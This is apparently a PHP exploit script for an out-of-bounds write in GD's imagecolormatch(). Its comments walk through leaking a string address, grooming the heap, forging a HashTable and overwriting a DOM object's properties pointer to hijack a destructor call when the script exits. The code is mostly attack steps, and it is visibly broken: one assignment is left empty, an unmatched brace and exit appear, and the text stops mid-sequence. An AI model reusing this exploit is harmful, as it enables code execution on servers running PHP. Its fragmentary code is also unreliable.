#
# #1: Address leak
# We want to obtain the address of a string so that we can make
# the Nenuphar.std.properties HashTable* point to it and hence control its
# structure.
#

# We create two images $img1 and $img2, both of 1 pixel.
# The RGB bytes of the pixel of $img1 will be added to OOB memory because we set
# $img2 to have $nb_colors images and we set its only pixel to color number
# $nb_colors.
#
$nb_colors = 12;
$size_buf = $nb_colors * BYTES_PER_COLOR;

# One pixel image so that the double loop iterates only once
$img1 = imagecreatetruecolor(1, 1);

# The three RGB values will be added to OOB memory
# First value (Red) is added to the size of the zend_string structure which
# lays under buf in memory.
$color = imagecolorallocate($img1, 0xFF, 0, 0);
imagefill($img1, 0, 0, $color);

$img2 = imagecreate(1, 1);

# Allocate $nb_colors colors: |buf| = $nb_colors * BYTES_PER_COLOR = 0x1e0
# which puts buf in 0x200 memory blocks
for($i=0;$i<$nb_colors;$i++)
	imagecolorallocate($img2, 0, 0, $i);

imagesetpixel($img2, 0, 0, $nb_colors + 1);

# Create a memory layout as such:
# [z:   zend_string: 0x200]
# [x:   zend_string: 0x200]
# [y:   zend_string: 0x200]
$z = str_repeat('Z', $size_buf - OFFSET_STR_VAL);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL);
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL);

# Then, we unset z and call imagecolormatch(); buf will be at z's memory
# location during the execution
# [buf: long[]     : 0x200]
# [x:   zend_string: 0x200]
# [y:   zend_string: 0x200]
#
# We can write buf + 0x208 + (0x08 or 0x10 or 0x18)
# buf + 0x208 + 0x08 is X's zend_string.len
unset($z);
imagecolormatch($img1, $img2);

# Now, $x's size has been increased by 0xFF, so we can read further in memory.
#
# Since buf was the last freed block, by unsetting y, we make its first 8 bytes
# point to the old memory location of buf
# [free:             0x200] <-+
# [x:   zend_string: 0x200]   |

# Reset both these variables so that their slot cannot be "stolen" by other
# allocations
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);

# Now that we have z's address, we can make something point to it.
# We create a fake HashTable structure in Z; when the script exits, each element
# of this HashTable will be destroyed by calling ht->pDestructor(element)
# The only element here is a string: "id"
$z = 
	# refcount

# At this point we control a string $z and we know its address: we'll make an
# internal PHP HashTable structure point to it.


#
# #2: Read Nenuphar.std.properties
#

# The tricky part here was to find an interesting PHP structure that is
# allocated in the same fastbins as buf, so that we can modify one of its
# internal pointers. Since buf has to be a multiple of 0x28, I used dom_object,
# whose size is 0x50 = 0x28 * 2. Nenuphar is a subclass of dom_object with just
# one extra method, __get().
# php_dom.c:1074: dom_object *intern = ecalloc(1, sizeof(dom_object) + zend_object_properties_size(class_type));
# Since we defined a __get() method, zend_object_properties_size(class_type) = 0
# and not -0x10.
#
# zend_object.properties points to an HashTable. Controlling an HashTable in PHP
# means code execution since at the end of the script, every element of an HT is
# destroyed by calling ht.pDestructor(ht.arData[i]).
# Hence, we want to change the $nenuphar.std.properties pointer.
#
# To proceed, we first read $nenuphar.std.properties, and then increment it
# by triggering the bug several times, until
# $nenuphar.std.properties == $z_address
#
# Sadly, $nenuphar.std.ce will also get incremented by one every time we trigger
# the bug. This is due to (*(bp++))++ (in gdImageColorMatch).
# To circumvent this problem, we create two classes, Nenuphar and Nenuphar2, and
# instanciate them as $nenuphar and $nenuphar2. After we're done changing the
# std.properties pointer, we trigger the bug more times, until
# $nenuphar.std.ce == $nenuphar2.std.ce2
#
# This way, $nenuphar will have an arbitrary std.properties pointer, and its
# std.ce will be valid.
#
# Afterwards, we let the script exit, which will destroy our fake hashtable (Z),
# and therefore call our arbitrary function.
#

# Here we want fastbins of size 0x50 to match dom_object's size
$nb_colors = 2;
$size_buf = $nb_colors * BYTES_PER_COLOR;

$img1 = imagecreatetruecolor(1, 1);
# The three RGB values will be added to OOB memory
# Second value (Green) is added to the size of the zend_string structure which
# lays under buf in memory.
$color = imagecolorallocate($img1, 0, 0xFF, 0);
imagefill($img1, 0, 0, $color);

# Allocate 2 colors so that |buf| = 2 * 0x28 = 0x50
$img2 = imagecreate(1, 1);
for($i=0;$i<$nb_colors;$i++)
	imagecolorallocate($img2, 0, 0, $i);

$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8);
$nenuphar = new Nenuphar();
$nenuphar2 = new Nenuphar2();

imagesetpixel($img2, 0, 0, $nb_colors);

# Unsetting the first string so that buf takes its place
unset($y);

# Trigger the bug: $x's size is increased by 0xFF
imagecolormatch($img1, $img2);

$ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
$ce2_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + $size_buf + 0x28);
$props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);

print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\n");

	print('That won\'t work');
	exit(0);
}


#
# #3: Modifying Nenuphar.std.properties and Nenuphar.std.ce
#

# Each time we increment Nenuphar.properties by an arbitrary value, ce1_address
# is also incremented by one because of (*(bp++))++;
# Therefore after we're done incrementing props_address to z_address we need
# to increment ce1's address one by one until Nenuphar1.ce == Nenuphar2.ce

# The memory structure we have ATM is OK. We can just trigger the bug again
# until Nenuphar.properties == z_address

$color = imagecolorallocate($img1, 0, 0xFF, 0);

imagesetpixel($img2, 0, 0, $nb_colors + 3);

imagefill($img1, 0, 0, $color);
$current = imagecolormatch($img1, $img2);
$ce1_address++;

# Since we don't want to touch other values, only increase the first one, we set
# the three colors to 0
$color = imagecolorallocate($img1, 0, 0, 0);
